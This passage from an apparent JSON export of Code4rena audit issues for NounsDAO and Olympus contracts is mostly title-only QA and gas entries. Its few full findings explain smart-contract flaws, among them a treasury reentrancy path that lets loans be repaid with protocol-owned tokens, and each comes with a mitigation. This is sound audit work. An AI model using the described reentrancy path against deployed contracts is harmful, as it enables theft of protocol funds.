Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Lack of Storage Gap in Upgradeable Contracts", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/32", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "Lack of Storage Gap in Upgradeable Contracts"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/1", "labels": [], "target": "2022-08-nounsdao-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/504", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/501", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/500", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/499", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/498", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/496", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Can initialize PRICE module with old market data", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/495", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "Can initialize PRICE module with old market data"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/493", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/491", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/488", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Cushion bond markets are opened at wall price rather than current price", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/485", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-08-olympus-findings", "body": "Cushion bond markets are opened at wall price rather than current price"}, {"title": "Moving average precision is lost", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/483", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/modules/PRICE.sol#L134-L139 # Vulnerability details Now the precision is lost in moving average calculations as the difference is calculated separately and added each time, while it typically can be small enough to lose precision in the division involved. For example, `10000` moves of `990` size, `numObservations = 1000`. This will yield `0` on each update, while must yield `9900` increase in the moving average. ## Proof of Concept Moving average is calculated with the addition of the difference: https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/modules/PRICE.sol#L134-L139 ```solidity // Calculate new moving average if (currentPrice > earliestPrice) { _movingAverage += (currentPrice - earliestPrice) / numObs; } else { _movingAverage -= (earliestPrice - currentPrice) / numObs; } ``` `/ numObs` can lose precision as `currentPrice - earliestPrice` is usually small. It is returned on request as is: https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/modules/PRICE.sol#L189-L193 ```solidity /// @notice Get the moving average of OHM in the Reserve asset over the defined window (see movingAverageDuration and observationFrequency). function getMovingAverage() external view returns (uint256) { if (!initialized) revert Price_NotInitialized(); return _movingAverage; } ``` ## Recommended Mitigation Steps Consider storing the cumulative `sum`, while returning `sum / numObs` on request: https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/modules/PRICE.sol#L189-L193 ```solidity /// @notice Get the moving average of OHM in the Reserve asset over the defined window (see movingAverageDuration and observationFrequency). function getMovingAverage() external view returns (uint256) { if (!initialized) revert Price_NotInitialized(); - return _movingAverage; + return _movingAverage / numObservations; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/481", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/480", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/478", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/473", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/472", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/471", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/466", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/463", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/462", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/460", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/459", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/457", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/456", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/455", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/454", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/453", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/452", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/451", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/450", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/449", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/448", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/444", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/443", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "[NAZ-M1] Chainlink's `latestRoundData` Might Return Stale Results", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/441", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L161 https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L170 # Vulnerability details ## Impact Across these contracts, you are using Chainlink's `latestRoundData` API, but there is only a check on `updatedAt`. This could lead to stale prices according to the Chainlink documentation: * [Historical Price data](https://docs.chain.link/docs/historical-price-data/#historical-rounds) * [Checking Your returned answers](https://docs.chain.link/docs/faq/#how-can-i-check-if-the-answer-to-a-round-is-being-carried-over-from-a-previous-round) The result of `latestRoundData` API will be used across various functions, therefore, a stale price from Chainlink can lead to loss of funds to end-users. ## Tools Used Manual Review ## Recommended Mitigation Steps Consider adding the missing checks for stale data. For example: ```js (uint80 roundID ,answer,, uint256 timestamp, uint80 answeredInRound) = AggregatorV3Interface(chainLinkAggregatorMap[underlying]).latestRoundData(); require(answer > 0, \"Chainlink price <= 0\"); require(answeredInRound >= roundID, \"Stale price\"); require(timestamp != 0, \"Round not complete\"); ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/440", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/438", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/437", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/436", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/435", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Kernel may not be able to migrate due to having too many keycodes or policies", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/433", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "Kernel may not be able to migrate due to having too many keycodes or policies"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/432", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/430", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Treasury module is vulnerable to cross-contract reentrancy", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/426", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L108-L112 # Vulnerability details ## Impact An attacker can pay back their loan to the treasury module with protocol-owned tokens. This will cause their loan to decrease despite the protocol won't be given funds for it. ## Proof of Concept The code first measures the number of tokens in the treasury, then transfers an amount to the contract and checks the change it caused. This is put behind a nonReentrant modifier so that one can't use the same balance change to pay back multiple parts of (potentially) multiple loans. The problem arises when the treasury doesn't only claim tokens from paying back loans, but also claims protocol revenue. Since, an attacker can gain execution in the moment the funds are pulled to the treasury to trigger any function that grants treasury this type of tokens (collects protocol revenue). The contract will count these tokens as paying back one's loan since this happened between balance measurements. ## Recommended Mitigation Steps Add a function used to pull a token to the contract and mark it nonReentrant. Any transfer of tokens to the treasury should be done through that function."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/425", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/424", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/423", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "low market bonds/swaps not working after loan is taken from treasury", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/422", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L60 # Vulnerability details ## Impact low market bonds/swaps not working after loan is taken from TRSRY I am bordering between this being medium and low, but since this is, granted under very unlikely circumstances, is hindering intended transfers to work I am submitting it as medium. That said, I don't think this scenario is very likely since it requires a trusted contract not part of initial release(? no contract in repo used a loan) to take a large loan from TRSRY. ## Proof of Concept this will cause test to fail on TRANSFER_FAILED due to TRSRY not having the tokens to transfer but `getReserveBalance` says it has, since capacity is determined based on non-existing tokens. ```diff diff --git a/src/test/policies/Operator.t.sol b/src/test/policies/Operator.t.sol index e09aec1..5c1e95f 100644 --- a/src/test/policies/Operator.t.sol +++ b/src/test/policies/Operator.t.sol @@ -26,6 +26,8 @@ import {OlympusMinter, OHM} from \"modules/MINTR.sol\"; import {Operator} from \"policies/Operator.sol\"; import {BondCallback} from \"policies/BondCallback.sol\"; +import {ModuleTestFixtureGenerator} from \"test/lib/ModuleTestFixtureGenerator.sol\"; + contract MockOhm is ERC20 { constructor( string memory _name, @@ -45,6 +47,7 @@ contract MockOhm is ERC20 { // solhint-disable-next-line max-states-count contract OperatorTest is Test { using FullMath for uint256; + using ModuleTestFixtureGenerator for OlympusTreasury; 